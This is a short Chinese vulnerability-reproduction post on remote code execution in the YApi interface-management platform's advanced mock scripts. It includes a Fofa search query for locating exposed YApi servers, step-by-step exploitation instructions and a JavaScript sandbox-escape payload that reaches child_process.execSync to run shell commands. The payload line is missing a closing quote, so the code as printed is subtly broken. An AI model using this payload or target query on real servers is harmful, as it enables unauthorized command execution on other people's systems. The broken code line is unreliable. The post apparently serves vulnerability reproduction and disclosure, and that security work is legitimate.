简介
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业使用。
漏洞原理
YAPI项目使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务。其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。
Fofa
app="YApi"
漏洞复现
默认注册功能开启。注册后创建项目:
添加项目
添加接口
选择“高级mock”,添加脚本
脚本payload如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson =process.mainModule.require("child_process").execSync("whoami && ps -ef).toString()
保存成功后访问该mock地址
参考链接
YApi Mock功能远程代码执行漏洞复现 – 云+社区 – 腾讯云
https://cloud.tencent.com/developer/article/1851526
请登录后查看回复内容